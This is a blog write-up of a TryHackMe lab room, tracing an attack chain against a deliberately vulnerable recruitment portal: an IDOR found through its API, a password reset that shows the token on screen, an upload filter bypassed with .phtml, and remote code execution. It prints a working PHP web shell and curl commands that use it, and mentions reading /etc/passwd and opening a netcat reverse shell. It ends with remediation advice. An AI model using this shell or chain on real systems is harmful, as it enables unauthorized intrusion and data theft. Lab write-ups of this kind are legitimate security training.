RecruitX: From Reconnaissance to Remote Code Execution

I recently completed a TryHackMe room called RecruitX, a web application penetration test that walks through a realistic engagement from start to finish. This post documents the exact chain of vulnerabilities I exploited and what I would fix if I were the developer.
The Setup
RecruitX is an internal recruitment portal. Hiring managers post jobs, candidates apply, and administrators manage the workflow. I was given a target IP, a web-based attack box, and a simple brief: find the security issues.
Reconnaissance and Enumeration
I started with Nmap to discover open ports and services:
  • Port 22: SSH
  • Port 80: Apache 2.4.58 running the main application
  • Port 3306: MySQL
  • Port 8080: Apache default page
The stack was classic LAMP: Linux, Apache, PHP, MySQL. I confirmed PHP session management from the HTTP headers, which showed a PHPSESSID cookie.
Next I ran Gobuster for directory enumeration and found several interesting paths:
  • /admin — admin panel, redirected to login when unauthenticated
  • /api — API endpoint
  • /reset.php — password reset page
  • /uploads — file upload directory
  • /profile.php and /dashboard.php — required authentication
I also checked the API root with curl. It helpfully listed its own endpoints: /api/user, /api/jobs, /api/applications. This is information disclosure. An unauthenticated user should not see internal API routes.
I registered an account and logged in to explore the authenticated features.
IDOR: Accessing Other Users' Profiles
While logged in, I navigated to my profile and noticed the URL:
http://MACHINE_IP/profile.php?id=6
My account was the sixth created. I changed the ID to 1 and accessed the profile of Sarah Mitchell, an administrator. The application returned her full profile without checking if I was authorized to view it.
I verified the same issue with curl, using my session cookie:
curl -s -b "PHPSESSID=gs5ngd6duukc09agpdnj1o9tt2" "http://MACHINE_IP/profile.php?id=1"
The response contained her name, email, and registration date. The API endpoint was even worse. It required no session cookie at all:
curl -s "http://MACHINE_IP/api/user?id=1"
This returned structured JSON with her name, email, role, and creation date. By incrementing the ID, I enumerated every user in the system.
Weak Password Reset: Taking Over the Admin Account
I now had the administrator's email: s.mitchell@recruitx.thm. I examined the password reset flow at /reset.php. I submitted my own email to understand the mechanism.
The application displayed the reset token directly in the response. This is a critical flaw. A reset token should only be sent to the user's email, never shown on screen.
I analyzed the tokens. They were six-digit numbers. The keyspace was only one million possible values, making them weak. There was also no rate limiting.
I submitted a reset request for Sarah Mitchell's email. The response contained her token. I used it to visit the reset URL and set a new password. I then logged in as the administrator.
Admin Panel Access and File Upload Bypass
With admin credentials, I accessed /admin. The panel included an upload function at /admin/upload.php. The form claimed to accept PDF, DOCX, and image files. The file input had an accept attribute restricting types, but this is client-side only.
I removed the accept attribute using browser developer tools and uploaded a text file. The server rejected it, so there was some server-side validation.
I then tried a PHP file. Also rejected. The server was checking the extension.
I tried .phtml, an alternative PHP extension that Apache often processes. The upload succeeded. I visited the file and confirmed PHP execution. The server ran my code and returned the output.
Remote Code Execution
I created a simple web shell:
php
<?php
if(isset($_GET['cmd'])) {
    echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
}
?>
I uploaded it via the admin panel and accessed it with curl:
curl "http://MACHINE_IP/uploads/documents/shell.phtml?cmd=whoami"
The response was www-data. I had command execution on the server. I ran id, hostname, uname -a, and read /etc/passwd. I then upgraded to a reverse shell using netcat and gained an interactive session.
The Attack Chain
No single vulnerability caused full compromise. The chain was:
  1. Enumeration revealed the API and admin panel
  2. IDOR leaked the administrator's identity
  3. Weak password reset allowed account takeover
  4. Admin access exposed the upload function
  5. Extension bypass enabled PHP execution
  6. PHP execution led to remote code execution
Each step required the previous one. Without the IDOR, I would not have known the admin's email. Without the weak reset, I could not access the admin panel. Without admin access, I could not reach the upload function.
Remediation
If I were building this application, I would implement the following controls:
  • IDOR: Verify authorization on every request. The server must check that the authenticated user owns the requested resource before returning data.
  • Password Reset: Send tokens exclusively via email. Display only a generic confirmation message on the page. Use cryptographically random tokens of at least 32 characters. Implement rate limiting on reset requests.
  • File Upload: Use an allowlist of permitted extensions, not a blocklist. Validate file content using MIME type detection. Store uploaded files outside the web root or serve them through a handler that strips executable content.
  • API Exposure: Remove or restrict the API index endpoint. Do not expose internal route structures to unauthenticated users.
  • Information Disclosure: Remove version numbers from HTTP headers and error pages. Return generic responses for non-existent endpoints.
This exercise reinforced a principle I apply to my own work: security is not a feature. It is a property of the system. Every component must be designed to fail safely, because attackers will chain your smallest oversights into full compromise.

Comments

Popular Posts

Building Event Reliability at Monesize Core

God Never Wrote a Book: A Nigerian Agnostic's Case